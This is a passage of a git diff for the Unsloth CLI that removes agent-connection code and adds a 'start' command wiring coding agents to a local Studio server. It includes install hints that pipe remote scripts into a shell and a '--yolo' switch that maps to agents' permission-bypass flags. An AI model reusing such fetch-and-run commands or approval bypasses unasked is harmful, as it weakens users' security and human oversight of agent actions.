not isinstance(settings, dict): - typer.echo( - f"Warning: couldn't parse {path} — set CLAUDE_CODE_ATTRIBUTION_HEADER " - 'to "0" in its "env" section yourself, or local inference will be much slower.', - err = True, - ) - return - env = settings.get("env") - if not isinstance(env, dict): - env = settings["env"] = {} - if str(env.get("CLAUDE_CODE_ATTRIBUTION_HEADER")) == "0": - return - env["CLAUDE_CODE_ATTRIBUTION_HEADER"] = "0" - try: - path.parent.mkdir(parents = True, exist_ok = True) - path.write_text(json.dumps(settings, indent = 2) + "\n", encoding = "utf-8") - except OSError: - typer.echo( - f"Warning: couldn't write {path} — set CLAUDE_CODE_ATTRIBUTION_HEADER " - 'to "0" in its "env" section yourself, or local inference will be much slower.', - err = True, - ) - return - typer.echo(f"Disabled Claude Code's attribution header in {path} (it breaks KV-cache reuse).") - - -_DYNAMIC_SECTIONS_FLAG = "--exclude-dynamic-system-prompt-sections" - - -def _claude_cache_flags() -> list: - # The flag moves per-machine context (cwd, env info, git status) out of - # the system prompt, where it changes every session and defeats llama.cpp - # prefix caching. As of 2.1.175 it only takes effect in print mode (`-p` - # passed through ctx.args); interactive sessions accept and ignore it. - # Claude Code < 2.1.98 aborts on the unknown flag, so check the version - # first; no local binary means a --no-launch printout for another machine. - executable = shutil.which("claude") - if executable is None: - return [_DYNAMIC_SECTIONS_FLAG] - try: - result = subprocess.run( - [executable, "--version"], capture_output = True, text = True, timeout = 10 - ) - version = tuple(int(part) for part in result.stdout.split()[0].split(".")) - except Exception: - return [] - return [_DYNAMIC_SECTIONS_FLAG] if version >= (2, 1, 98) else [] - - -def codex_home() -> Path: - return Path(os.environ.get("CODEX_HOME") or Path.home() / ".codex") - - -def _merge_codex_config(existing: str, base: str) -> str: - chunks = re.split(r"(?m)^(?=\[)", existing) # preamble, then one chunk per table - if not re.search(r"(?m)^\s*oss_provider\s*=", chunks[0]): - if chunks[0] and not chunks[0].endswith("\n"): - chunks[0] += "\n" - chunks[0] += f'oss_provider = "{_CODEX_PROFILE}"\n' - # Drop the provider table and any stale [model_providers.unsloth_api.*] subtables. - stale = (_PROVIDER_HEADER, _PROVIDER_HEADER[:-1] + ".") - text = "".join(c for c in chunks if not c.startswith(stale)) - if not text.endswith("\n"): - text += "\n" - if not text.endswith("\n\n"): - text += "\n" - return text + ( - f"{_PROVIDER_HEADER}\n" - 'name = "Unsloth Studio"\n' - f"base_url = {json.dumps(base + '/v1')}\n" - f'env_key = "{_CODEX_ENV_KEY}"\n' - 'wire_api = "responses"\n' - "requires_openai_auth = false\n" - ) - - -def write_codex_config(base: str, model: dict) -> None: - home = codex_home() - home.mkdir(parents = True, exist_ok = True) - - config = home / "config.toml" - existing = config.read_text(encoding = "utf-8") if config.exists() else "" - merged = _merge_codex_config(existing, base) - if merged != existing: - config.write_text(merged, encoding = "utf-8") - typer.echo(f"Updated {config}") - - # oss_provider here too: codex --oss picks the provider from it, and the - # profile layer must beat a user-set value (e.g. "ollama") in config.toml. - profile_text = ( - f'oss_provider = "{_CODEX_PROFILE}"\n' - f'model_provider = "{_CODEX_PROFILE}"\n' - f"model = {json.dumps(model['id'])}\n" - ) - window = model.get("context_length") or model.get("max_context_length") - if window: - profile_text += f"model_context_window = {int(window)}\n" - profile = home / f"{_CODEX_PROFILE}.config.toml" - if not profile.exists() or profile.read_text(encoding = "utf-8") != profile_text: - profile.write_text(profile_text, encoding = "utf-8") - typer.echo(f"Updated {profile}") - - -def _wsl_windows_executable(command: list) -> Optional[str]: - if os.name == "nt" or not os.environ.get("WSL_DISTRO_NAME"): - return None - executable = shutil.which(command[0]) - if executable and executable.startswith("/mnt/"): - return executable - return None - - -def _merge_wslenv(current: str, names: tuple) -> str: - entries = [entry for entry in current.split(":") if entry] - existing = {entry.split("/", 1)[0] for entry in entries} - entries.extend(name for name in names if name not in existing) - return ":".join(entries) - - -def _print_env( - env: dict, - command: list, - unset_env: tuple = (), - wsl_env_bridge: tuple = (), -) -> None: - if os.name == "nt": - for name in unset_env: - typer.echo(f"Remove-Item Env:{name} -ErrorAction SilentlyContinue") - for name, value in env.items(): - # PowerShell: ` is the escape char, and $ triggers expansion inside "". - escaped = value.replace("`", "``").replace('"', '`"').replace("$", "`$") - typer.echo(f'$env:{name} = "{escaped}"') - typer.echo(subprocess.list2cmdline(command)) - return - for name in unset_env: - typer.echo(f"export {name}=" if wsl_env_bridge else f"unset {name}") - for name, value in env.items(): - typer.echo(f"export {name}={shlex.quote(value)}") - if wsl_env_bridge: - typer.echo( - f"export WSLENV={shlex.quote(_merge_wslenv(os.environ.get('WSLENV', ''), wsl_env_bridge))}" - ) - typer.echo(shlex.join(command)) - - -def _launch( - command: list, - env: dict, - install_hint: str, - unset_env: tuple = (), -) -> NoReturn: - executable = shutil.which(command[0]) - if executable is None: - _fail(f"`{command[0]}` not found on PATH. Install it with: {install_hint}") - wsl_env_bridge = ( - tuple(dict.fromkeys((*env.keys(), *unset_env))) if _wsl_windows_executable(command) else () - ) - child_env = dict(os.environ) - if wsl_env_bridge: - child_env["WSLENV"] = _merge_wslenv(child_env.get("WSLENV", ""), wsl_env_bridge) - for name in unset_env: - child_env[name] = "" - else: - for name in unset_env: - child_env.pop(name, None) - child_env.update(env) - # Ctrl+C cancels a turn inside the agent; don't let it kill this wrapper. - previous = signal.signal(signal.SIGINT, signal.SIG_IGN) - try: - code = subprocess.run([executable, *command[1:]], env = child_env).returncode - finally: - signal.signal(signal.SIGINT, previous) - # Negative returncode means killed by signal N; shells expect 128+N. - raise typer.Exit(code = code if code >= 0 else 128 - code) - - -def _connect(api_key: Optional[str], model: Optional[str]) -> tuple: - base = _require_studio() - key = _agent_api_key(base, api_key) - return base, key, _resolve_model(base, key, model) - - -def _run( - base: str, - entry: dict, - env: dict, - command: list, - *, - launch: bool, - install_hint: str, - unset_env: tuple = (), -) -> None: - typer.echo(f"Studio {base} · model {entry['id']}") - wsl_env_bridge = ( - tuple(dict.fromkeys((*env.keys(), *unset_env))) if _wsl_windows_executable(command) else () - ) - if not launch: - _print_env(env, command, unset_env = unset_env, wsl_env_bridge = wsl_env_bridge) - return - _launch(command, env, install_hint = install_hint, unset_env = unset_env) - - -def openclaw_config_path() -> Path: - return Path.home() / ".openclaw" / "openclaw.json" - - -def write_openclaw_config(base: str, key: str, model: dict) -> None: - path = openclaw_config_path() - config = _read_json_object(path) - if config is None: - typer.echo( - f"Warning: couldn't parse {path} — add an 'unsloth' provider there " - "yourself, or move the file aside and re-run.", - err = True, - ) - return - before = json.dumps(config, sort_keys = True) - # Studio is a generic OpenAI-compatible /v1 endpoint (the vLLM/LM Studio path). - provider_model = {"id": model["id"], "name": model["id"]} - window = model.get("context_length") or model.get("max_context_length") - if window: - provider_model["contextWindow"] = int(window) - models = _subdict(config, "models") - models.setdefault("mode", "merge") - _subdict(models, "providers")["unsloth"] = { - "baseUrl": f"{base}/v1", - "apiKey": key, - "api": "openai-completions", - "models": [provider_model], - } - # Pin a default model, else OpenClaw drops into its setup agent ("no models available"). - defaults = _subdict(_subdict(config, "agents"), "defaults") - _subdict(defaults, "model")["primary"] = f"unsloth/{model['id']}" - # Unauthenticated loopback gateway: without auth.mode=none the client won't open - # the websocket. The daemon must still be started separately (`openclaw gateway`). - gateway = _subdict(config, "gateway") - gateway.setdefault("mode", "local") - _subdict(gateway, "auth").setdefault("mode", "none") - if json.dumps(config, sort_keys = True) != before: - _write_private_json(path, config) - typer.echo(f"Updated {path}") - - -def opencode_config_path() -> Path: - config_home = os.environ.get("XDG_CONFIG_HOME") or Path.home() / ".config" - return Path(config_home) / "opencode" / "opencode.json" - - -def write_opencode_config(base: str, key: str, model: dict) -> None: - path = opencode_config_path() - config = _read_json_object(path) - if config is None: - typer.echo( - f"Warning: couldn't parse {path} — add an 'unsloth' provider there " - "yourself, or move the file aside and re-run.", - err = True, - ) - return - before = json.dumps(config, sort_keys = True) - config.setdefault("$schema", "https://opencode.ai/config.json") - _subdict(config, "provider")["unsloth"] = { - "npm": "@ai-sdk/openai-compatible", - "name": "Unsloth Studio", - "options": {"baseURL": f"{base}/v1", "apiKey": key}, - "models": {model["id"]: {"name": model["id"]}}, - } - # OpenCode selects a model by "/". - config["model"] = f"unsloth/{model['id']}" - if json.dumps(config, sort_keys = True) != before: - _write_private_json(path, config) - typer.echo(f"Updated {path}") - - -def hermes_config_path() -> Path: - return Path.home() / ".hermes" / "config.yaml" - - -def write_hermes_config(base: str, model: dict) -> None: - import yaml - - path = hermes_config_path() - config: dict = {} - if path.exists(): - try: - loaded = yaml.safe_load(path.read_text(encoding = "utf-8")) - except (yaml.YAMLError, OSError): - typer.echo( - f"Warning: couldn't parse {path} — configure the custom endpoint " - "there yourself, or move the file aside and re-run.", - err = True, - ) - return - if isinstance(loaded, dict): - config = loaded - elif loaded is not None: - # Non-empty, non-mapping YAML is a user-managed file; leave it. - typer.echo( - f"Warning: couldn't parse {path} — configure the custom endpoint " - "there yourself, or move the file aside and re-run.", - err = True, - ) - return - # Hermes only reads the key for a *named* custom provider (a bare - # `provider: custom` ignores it), so register it under providers.*. - _subdict(config, "model").update( - provider = f"custom:{_HERMES_PROVIDER}", - default = model["id"], - api_mode = "openai", - ) - _subdict(config, "providers")[_HERMES_PROVIDER] = { - "base_url": f"{base}/v1", - "api_mode": "openai", - "key_env": _HERMES_ENV_KEY, - } - text = yaml.safe_dump(config, sort_keys = False) - if not path.exists() or path.read_text(encoding = "utf-8") != text: - path.parent.mkdir(parents = True, exist_ok = True) - path.write_text(text, encoding = "utf-8") - typer.echo(f"Updated {path}") - - -@connect_app.command("claude", context_settings = _PASSTHROUGH) -def claude( - ctx: typer.Context, - model: Optional[str] = _MODEL_OPTION, - api_key: Optional[str] = _KEY_OPTION, - launch: bool = _LAUNCH_OPTION, -): - """Point Claude Code at the running Studio server and start it.""" - base, key, entry = _connect(api_key, model) - model_id = entry["id"] - ensure_claude_attribution_header() - - env = { - "ANTHROPIC_BASE_URL": base, - "ANTHROPIC_AUTH_TOKEN": key, - "ANTHROPIC_MODEL": model_id, - # Update checks, beta features, and other background requests either - # stall against a local server or evict the conversation from - # llama-server's KV-cache slots, so turn off everything nonessential. - "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": "1", - "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS": "1", - } - command = ["claude", "--model", model_id, *_claude_cache_flags(), *ctx.args] - install_hint = ( - "irm https://claude.ai/install.ps1 | iex" - if os.name == "nt" - else "curl -fsSL https://claude.ai/install.sh | bash" - ) - _run( - base, - entry, - env, - command, - launch = launch, - install_hint = install_hint, - unset_env = _CLAUDE_ENV_UNSET, - ) - - -@connect_app.command("codex", context_settings = _PASSTHROUGH) -def codex( - ctx: typer.Context, - model: Optional[str] = _MODEL_OPTION, - api_key: Optional[str] = _KEY_OPTION, - launch: bool = _LAUNCH_OPTION, -): - """Point OpenAI Codex at the running Studio server and start it.""" - base, key, entry = _connect(api_key, model) - _require_gguf_for_codex(base, key, entry["id"]) - write_codex_config(base, entry) - - env = {_CODEX_ENV_KEY: key} - command = ["codex", "--oss", "--profile", _CODEX_PROFILE, *ctx.args] - _run(base, entry, env, command, launch = launch, install_hint = "npm install -g @openai/codex") - - -@connect_app.command("openclaw", context_settings = _PASSTHROUGH) -def openclaw( - ctx: typer.Context, - model: Optional[str] = _MODEL_OPTION, - api_key: Optional[str] = _KEY_OPTION, - launch: bool = _LAUNCH_OPTION, -): - """Point OpenClaw at the running Studio server and start it.""" - base, key, entry = _connect(api_key, model) - write_openclaw_config(base, key, entry) # key lives in the config, not the env - - command = ["openclaw", *ctx.args] - install_hint = ( - "iwr -useb https://openclaw.ai/install.ps1 | iex" - if os.name == "nt" - else "curl -fsSL https://openclaw.ai/install.sh | bash" - ) - _run(base, entry, {}, command, launch = launch, install_hint = install_hint) - - -@connect_app.command("opencode", context_settings = _PASSTHROUGH) -def opencode( - ctx: typer.Context, - model: Optional[str] = _MODEL_OPTION, - api_key: Optional[str] = _KEY_OPTION, - launch: bool = _LAUNCH_OPTION, -): - """Point OpenCode at the running Studio server and start it.""" - base, key, entry = _connect(api_key, model) - write_opencode_config(base, key, entry) # key lives in the config, not the env - - command = ["opencode", *ctx.args] - _run(base, entry, {}, command, launch = launch, install_hint = "npm install -g opencode-ai") - - -@connect_app.command("hermes", context_settings = _PASSTHROUGH) -def hermes( - ctx: typer.Context, - model: Optional[str] = _MODEL_OPTION, - api_key: Optional[str] = _KEY_OPTION, - launch: bool = _LAUNCH_OPTION, -): - """Point Hermes (Nous Research) at the running Studio server and start it.""" - base, key, entry = _connect(api_key, model) - write_hermes_config(base, entry) - - env = {_HERMES_ENV_KEY: key} - command = ["hermes", *ctx.args] - install_hint = ( - "curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent" - "/main/scripts/install.sh | bash" - ) - _run(base, entry, env, command, launch = launch, install_hint = install_hint) diff --git a/unsloth_cli/commands/start.py b/unsloth_cli/commands/start.py new file mode 100644 index 0000000000..b188180188 --- /dev/null +++ b/unsloth_cli/commands/start.py @@ -0,0 +1,1497 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""`unsloth start` — launch a coding agent against a running Studio server.""" + +import atexit +import contextlib +import json +import os +import re +import shlex +import shutil +import signal +import subprocess +import sys +import tempfile +import time +import urllib.error +import urllib.request +from pathlib import Path +from typing import NamedTuple, NoReturn, Optional +from urllib.parse import urlparse + +import click +import typer + +from unsloth_cli._inference import ( + _USER_AGENT, + _studio_token, + ensure_studio_backend_path, + find_studio_server, + is_loopback_url, + urlopen_no_redirect, + verify_studio_identity, +) + +start_app = typer.Typer( + help = "Start a coding agent against a running Studio server.", + no_args_is_help = True, + context_settings = {"help_option_names": ["-h", "--help"]}, +) + +_CODEX_PROFILE = "unsloth_api" +_CODEX_ENV_KEY = "UNSLOTH_STUDIO_AUTH_TOKEN" +_HERMES_ENV_KEY = "UNSLOTH_API_KEY" +_HERMES_PROVIDER = "unsloth" +# Hermes refuses to initialize when the model window is under 64,000 tokens; its +# error message points at the model.context_length / auxiliary.compression +# overrides in config.yaml. write_hermes_config claims this value for smaller +# windows and scales the compaction threshold back down to the real window. +_HERMES_MIN_CONTEXT = 65536 +_PI_PROVIDER = "unsloth" +_PROVIDER_HEADER = f"[model_providers.{_CODEX_PROFILE}]" +_PASSTHROUGH = {"allow_extra_args": True, "ignore_unknown_options": True} +_CLAUDE_ENV_UNSET = ("ANTHROPIC_API_KEY", "CLAUDE_CODE_OAUTH_TOKEN") + +# Shared by every agent command; only the config/env/command differ. +_MODEL_OPTION = typer.Option( + None, "--model", "-m", help = "Model for the agent; defaults to the one loaded in Studio." +) +_KEY_OPTION = typer.Option( + None, + "--api-key", + envvar = "UNSLOTH_API_KEY", + help = ( + "Studio API key. For a local Studio it is minted automatically and " + "remembered per server. For a remote server, pass one with --api-key " + "(or UNSLOTH_API_KEY); it is remembered for next time." + ), +) +_LAUNCH_OPTION = typer.Option( + True, + "--launch/--no-launch", + help = "--no-launch prints the env and command instead (remote shells, WSL).", +) +_SERVE_OPTION = typer.Option( + True, + "--serve/--no-serve", + help = ( + "If no Studio server is running, auto-start one for --model and stop it when the " + "agent exits. --no-serve keeps the old behavior of erroring out." + ), +) +# Model-load knobs mirrored from `unsloth run`; only used when --model triggers a +# load on the server. Server-startup flags (--host/--port/--cloudflare/...) do not +# apply here because `unsloth start` attaches to an already-running server. +_GGUF_VARIANT_OPTION = typer.Option( + None, "--gguf-variant", help = "GGUF quant variant to load (e.g. UD-Q4_K_XL)." +) +_CONTEXT_OPTION = typer.Option( + 0, + "--max-seq-length", + "--context-length", + help = "Context length in tokens for the load (0 = model default).", +) +_LOAD_4BIT_OPTION = typer.Option( + True, "--load-in-4bit/--no-load-in-4bit", help = "Load hub models in 4-bit (ignored for GGUF)." +) +_TENSOR_PARALLEL_OPTION = typer.Option( + False, + "--tensor-parallel/--no-tensor-parallel", + help = "Split a GGUF across GPUs by tensor instead of by layer (multi-GPU only).", +) +# One normalized "run tools without prompting" switch. Each agent spells this +# differently and it's easy to forget which is which, so accept every spelling and +# route to the agent's own mechanism in _yolo_command_flags / the config writers. +_YOLO_OPTION = typer.Option( + False, + "--yolo", + "--dangerously-skip-permissions", + "--dangerously-bypass-approvals-and-sandbox", + help = ( + "Auto-approve all tool actions for this session; routed to the agent's own " + "flag/config. Any of the three spellings works for any agent." + ), +) + +# Per-agent CLI flag for "run tools without prompting". opencode and openclaw have no +# such flag (config only) and are handled in their config writers, so they are absent. +_YOLO_COMMAND_FLAGS = { + "claude": ["--dangerously-skip-permissions"], + "codex": ["--dangerously-bypass-approvals-and-sandbox"], + "hermes": ["--yolo"], + # Pi never prompts per tool call; its only approval gate is project trust, so -a + # (trust project resources) is the closest "don't ask me" equivalent. + "pi": ["--approve"], +} + + +def _yolo_command_flags(agent: str, yolo: bool) -> list: + # .get so a config-based agent (or a typo) yields no flag instead of a KeyError. + return _YOLO_COMMAND_FLAGS.get(agent, []) if yolo else [] + + +class LoadOptions(NamedTuple): + """Model-load knobs forwarded to /api/inference/load when --model triggers a load.""" + + gguf_variant: Optional[str] = None + max_seq_length: int = 0 + load_in_4bit: bool = True + tensor_parallel: bool = False + + +def _split_repo_variant(model: str) -> tuple: + """Split ``org/name:QUANT`` into ``(repo, variant)`` -> ``("org/name", "QUANT")``. + + ``unsloth run`` and llama.cpp accept ``--model org/name:QUANT`` as shorthand for + ``--model org/name --gguf-variant QUANT``. Mirror that here so a ``:variant`` suffix + resolves against the already-loaded ``org/name`` (which /v1/models lists without the + suffix) instead of trying to load a repo id containing ``:`` -- which Hugging Face + rejects, and which would evict a model another session is using. Local paths, Windows + drive letters, and ids without a ``:`` pass through unchanged. + """ + s = (model or "").strip() + if not s or s.startswith(("/", "./", "../", "~")) or s == ".": + return s, None + if len(s) >= 2 and s[1] == ":" and s[0].isalpha(): # Windows drive, e.g. C:\models\x + return s, None + if ":" not in s: + return s, None + repo, _, variant = s.rpartition(":") + if not repo or not variant or "/" in variant: + return s, None + return repo, variant + + +def _fail(message: str) -> NoReturn: + typer.echo(message, err = True) + raise typer.Exit(code = 1) + + +def _http_error_detail(exc: urllib.error.HTTPError) -> str: + try: + body = json.loads(exc.read().decode()) + return body.get("detail") or body["error"]["message"] + except Exception: + return str(exc) + + +def _http_json( + method: str, + url: str, + token: str, + payload = None, + timeout = 30, + error = None, +): + """On HTTPError: raise if `error` is None, else fail with `error` plus the server's detail.""" + request = urllib.request.Request( + url, + data = None if payload is None else json.dumps(payload).encode(), + headers = { + "Authorization": f"Bearer {token}", + "Content-Type": "application/json", + "User-Agent": _USER_AGENT, + }, + method = method, + ) + try: + # No redirects: a 3xx would leak this bearer token to an unvetted base. + with urlopen_no_redirect(request, timeout = timeout) as response: + return json.loads(response.read().decode() or "{}") + except urllib.error.HTTPError as exc: + if error is None: + raise + _fail(f"{error}: {_http_error_detail(exc)}") + except (urllib.error.URLError, TimeoutError) as exc: + if error is None: + raise + _fail(f"{error}: {getattr(exc, 'reason', None) or exc}") + + +# A server that WE auto-started (never one we merely found). Kept at module scope so +# _run's finally and the atexit backstop can tear it down without threading a handle +# through all six agent commands. Only one agent runs per process, so one slot is enough. +_auto_served_server: Optional[subprocess.Popen] = None +# Model download + load can be slow; give the auto-started server room before giving up. +_SERVER_START_TIMEOUT_S = 900 + + +def _studio_healthy(base: str, timeout: float = 3.0) -> bool: + request = urllib.request.Request(f"{base}/api/health", headers = {"User-Agent": _USER_AGENT}) + try: + with urllib.request.urlopen(request, timeout = timeout) as response: + return json.loads(response.read(65536).decode() or "{}").get("status") == "healthy" + except Exception: + return False + + +def _log_tail(path: Path, lines: int = 20) -> str: + try: + return "\n".join(path.read_text(encoding = "utf-8", errors = "replace").splitlines()[-lines:]) + except OSError: + return "(no server log)" + + +def _shutdown_server(server: Optional[subprocess.Popen]) -> None: + # Idempotent teardown of a server WE started, plus its own children (llama-server, + # cloudflared). A no-op once the process is already gone. + if server is None or server.poll() is not None: + return + if os.name == "nt": + # terminate()/kill() reach only the parent `unsloth run`; taskkill /T walks the + # whole tree so the llama-server child doesn't keep the port and GPU (matches the + # taskkill /T /F pattern already used in unsloth/dataprep/synthetic.py). + try: + subprocess.run( + ["taskkill", "/PID", str(server.pid), "/T", "/F"], + capture_output = True, + timeout = 15, + check = False, + ) + server.wait(timeout = 5) + except Exception: + with contextlib.suppress(Exception): + server.kill() + return + try: + os.killpg(os.getpgid(server.pid), signal.SIGTERM) + except OSError: + server.terminate() + try: + server.wait(timeout = 15) + except Exception: + try: + os.killpg(os.getpgid(server.pid), signal.SIGKILL) + except OSError: + server.kill() + + +def _shutdown_auto_served() -> None: + global _auto_served_server + server, _auto_served_server = _auto_served_server, None + if server is not None and server.poll() is None: + typer.echo("Stopping the auto-started Studio server…") + _shutdown_server(server) + + +def _start_studio_server(base: str, model: str, load: LoadOptions) -> subprocess.Popen: + """Spawn `unsloth run` for `model`, wait until it is fully ready, and return it.""" + global _auto_served_server + unsloth = shutil.which("unsloth") or "unsloth" + parsed = urlparse(base) + # --disable-tools = passthrough mode (relay the agent's own tools); --no-cloudflare = + # loopback only, no tunnel. Mirrors .github/scripts/serve-unsloth-run.sh. + command = [ + unsloth, + "run", + "-H", + parsed.hostname or "127.0.0.1", + "-p", + str(parsed.port or 8888), + "--disable-tools", + "--no-cloudflare", + "--model", + model, + ] + if load.gguf_variant: + command += ["--gguf-variant", load.gguf_variant] + if load.max_seq_length: + command += ["--context-length", str(load.max_seq_length)] + if not load.load_in_4bit: + command += ["--no-load-in-4bit"] + if load.tensor_parallel: + command += ["--tensor-parallel"] + + log_path = Path(tempfile.gettempdir()) / f"unsloth-start-server-{os.getpid()}.log" + typer.echo( + f"No Studio server at {base}. Starting one for {model} (loading the model can take a while)…" + ) + typer.echo(f"Server log: {log_path}") + # 0600: the `unsloth run` banner in this log carries the minted sk-unsloth- key, and + # the tempdir is world-traversable. Unlink first so a stale looser-mode file (pid + # reuse) can't survive with its old permissions. + log_path.unlink(missing_ok = True) + log = os.fdopen(os.open(log_path, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600), "wb") + # Own session/process group so a mid-session Ctrl+C (cancel a turn) doesn't reach the + # server; we tear it down explicitly when the agent exits. + kwargs: dict = {"stdout": log, "stderr": subprocess.STDOUT, "stdin": subprocess.DEVNULL} + if os.name == "nt": + kwargs["creationflags"] = subprocess.CREATE_NEW_PROCESS_GROUP + else: + kwargs["start_new_session"] = True + try: + server = subprocess.Popen(command, **kwargs) + finally: + log.close() # Popen dup'd the fd; drop the parent's copy + _auto_served_server = server + atexit.register(_shutdown_auto_served) + + deadline = time.monotonic() + _SERVER_START_TIMEOUT_S + while time.monotonic() < deadline: + if server.poll() is not None: + tail = _log_tail(log_path) + _shutdown_auto_served() + _fail(f"The Studio server stopped before it was ready. Last log lines:\n{tail}") + # `unsloth run` prints the minted key only after the server is up AND the model is + # loaded, so it is the fully-ready signal (same contract serve-unsloth-run.sh uses). + if _studio_healthy(base) and "sk-unsloth-" in _log_tail(log_path, lines = 400): + typer.echo(f"Studio server ready at {base}.") + return server + time.sleep(2.0) + _shutdown_auto_served() + _fail( + f"The Studio server didn't become ready within {_SERVER_START_TIMEOUT_S}s. See {log_path}." + ) + + +def _effective_base(base: str) -> str: + # `unsloth run` binds to `parsed.port or 8888` and serves at the root, so normalize + # UNSLOTH_STUDIO_URL to plain scheme://host:port. A portless http://127.0.0.1 would + # otherwise launch on 8888 but poll port 80, and a path like /studio would poll + # /studio/api/health (404) -- either way hitting the startup timeout. IPv6 literals + # stay bracketed. + parsed = urlparse(base) + host = parsed.hostname or "127.0.0.1" + if ":" in host: # bare IPv6 literal (urlparse strips the brackets) + host = f"[{host}]" + return f"{parsed.scheme or 'http'}://{host}:{parsed.port or 8888}" + + +def _require_studio( + model: Optional[str] = None, + load: Optional[LoadOptions] = None, + *, + serve: bool = False, + launch: bool = True, +) -> tuple: + """Return (base, server). server is a Popen only when WE auto-started it.""" + base = find_studio_server() + if base is not None: + return base, None + expected = os.environ.get("UNSLOTH_STUDIO_URL", "http://127.0.0.1:8888").rstrip("/") + # Auto-start a local server only for an interactive launch with a model to serve, and + # only for a plain-HTTP loopback target: never stand in for an explicit remote + # UNSLOTH_STUDIO_URL, and never for an https:// one -- `unsloth run` serves plain + # HTTP, so the health poll against https would spin until the startup timeout. + if ( + serve + and launch + and model + and is_loopback_url(expected) + and urlparse(expected).scheme == "http" + ): + # Normalize to the port unsloth run actually binds, so the health poll and the + # returned base hit the same server we launch (not a portless :80). + expected = _effective_base(expected) + return expected, _start_studio_server(expected, model, load or LoadOptions()) + model_hint = "" if model else " Pass --model to have it start one for you, or" + _fail( + f"No running Studio server found at {expected}.{model_hint} start one with " + "`unsloth studio`, or point UNSLOTH_STUDIO_URL at a remote server." + ) + + +def _key_cache_path() -> Path: + ensure_studio_backend_path() + from utils.paths import auth_root + return auth_root() / "agent_api_key.json" + + +def _read_cache(cache: Path) -> dict: + try: + data = json.loads(cache.read_text(encoding = "utf-8")) + except Exception: + return {} + return data if isinstance(data, dict) else {} + + +def _server_buckets(servers: dict, base: str) -> dict: + # Normalise a server's entry to {"saved": [...], "minted": [...]}, tolerating a + # corrupt/legacy value (bare string/list -> treated as minted, behind the handshake). + entry = servers.get(base) if isinstance(servers, dict) else None + if isinstance(entry, list): + return {"saved": [], "minted": [k for k in entry if isinstance(k, str)]} + if not isinstance(entry, dict): + return {"saved": [], "minted": []} + + def _strs(name: str) -> list: + value = entry.get(name) + return [k for k in value if isinstance(k, str)] if isinstance(value, list) else [] + + return {"saved": _strs("saved"), "minted": _strs("minted")} + + +def _cached_keys(cache: Path, base: str, source: str) -> list: + # Keys are scoped per server. `source` splits user-supplied --api-key keys + # ("saved", trusted for that base) from auto-minted ones ("minted", replayed + # only after the identity check). Legacy unscoped caches are ignored. + return _server_buckets(_read_cache(cache).get("servers", {}), base)[source] + + +def _write_private_json(path: Path, data: dict) -> None: + # O_CREAT with 0o600 so a file holding an API key is never world-readable, + # even briefly (existing files keep whatever perms the user set). + path.parent.mkdir(parents = True, exist_ok = True, mode = 0o700) + fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) + with os.fdopen(fd, "w") as handle: + handle.write(json.dumps(data, indent = 2) + "\n") + + +def _read_json_object(path: Path) -> Optional[dict]: + # {} when missing, None when it can't be parsed as an object (so the caller + # leaves a user-managed file untouched rather than clobbering it). + if not path.exists(): + return {} + try: + data = json.loads(path.read_text(encoding = "utf-8")) + except (ValueError, OSError): + return None + return data if isinstance(data, dict) else None + + +def _subdict(parent: dict, key: str) -> dict: + child = parent.get(key) + if not isinstance(child, dict): + child = parent[key] = {} + return child + + +def _remember_key(cache: Path, base: str, key: str, source: str) -> None: + data = _read_cache(cache) + servers = data.get("servers") + if not isinstance(servers, dict): + servers = data["servers"] = {} + buckets = _server_buckets(servers, base) + other = "minted" if source == "saved" else "saved" + buckets[source] = ([key] + [k for k in buckets[source] if k != key])[:8] + buckets[other] = [k for k in buckets[other] if k != key] # a key has one provenance + new_entry = {"saved": buckets["saved"], "minted": buckets["minted"]} + if servers.get(base) == new_entry: + return + servers[base] = new_entry + # Collapse legacy unscoped fields. + data.pop("keys", None) + data.pop("key", None) + try: + _write_private_json(cache, data) + except OSError: + pass # worst case the next launch mints another key + + +def _key_accepted(base: str, key: str) -> bool: + # Only a genuine auth rejection (401/403) means "this key is bad -- skip it and try + # the next cached key or mint a fresh one". A 5xx or a network blip is a server-side + # outage, not a bad key: fail with a clean message (never a traceback) instead of + # silently discarding a working key and minting extras against a struggling server. + try: + _http_json("GET", f"{base}/v1/models", key) + return True + except urllib.error.HTTPError as exc: + if exc.code in (401, 403): + return False + _fail( + f"Studio server error while checking an API key ({exc.code}). " + "The server may be starting up or unhealthy; try again shortly." + ) + except (urllib.error.URLError, TimeoutError) as exc: + _fail( + "Couldn't reach the Studio server while checking an API key: " + f"{getattr(exc, 'reason', None) or exc}" + ) + + +def _agent_api_key( + base: str, + explicit: Optional[str], + *, + auto_started: bool = False, +) -> str: + cache = _key_cache_path() + if explicit: + if not auto_started or _key_accepted(base, explicit): + _remember_key(cache, base, explicit, "saved") + return explicit + # The server was auto-started for this run, so an exported + # UNSLOTH_API_KEY meant for some other server must not fail the + # launch: the loopback mint path below is guaranteed to work. + # (An explicit key that the fresh server accepts, e.g. one persisted + # in this Studio home's auth db, is still honored above.) + + # Replay a key the user saved for *this exact* server first (scoped per base, + # so it only goes back there -- including a remote/SSH-tunnelled Studio whose + # secret the local handshake can't match). Skip ones the server rejects. + for key in _cached_keys(cache, base, "saved"): + if _key_accepted(base, key): + _remember_key(cache, base, key, "saved") + return key + + # Beyond here we auto-mint or replay an auto-minted key. find_studio_server() + # trusts a base after only a health check, so both are limited to a loopback + # server we can cryptographically confirm is ours. + if not is_loopback_url(base): + _fail( + f"No saved API key for {base} and automatic minting only runs against " + "a local Studio. Create an API key in Studio → Settings → API and " + "pass it with --api-key (it is remembered per server), or set " + "UNSLOTH_API_KEY." + ) + if not verify_studio_identity(base): + _fail( + f"Couldn't verify that {base} is your Studio (it may be running as a " + "different OS user, or another process took the port). Create an API " + "key in Studio → Settings → API and pass it with --api-key, or set " + "UNSLOTH_API_KEY." + ) + + # Identity verified: replay a previously auto-minted key, else mint a new one. + for key in _cached_keys(cache, base, "minted"): + if _key_accepted(base, key): + _remember_key(cache, base, key, "minted") + return key + + # Self-issue a JWT (signed with the local secret) and mint a key. + token = _studio_token() + if token is None: + _fail( + "Couldn't authenticate with the Studio server automatically. Create " + "an API key in Studio → Settings → API and pass it with --api-key, " 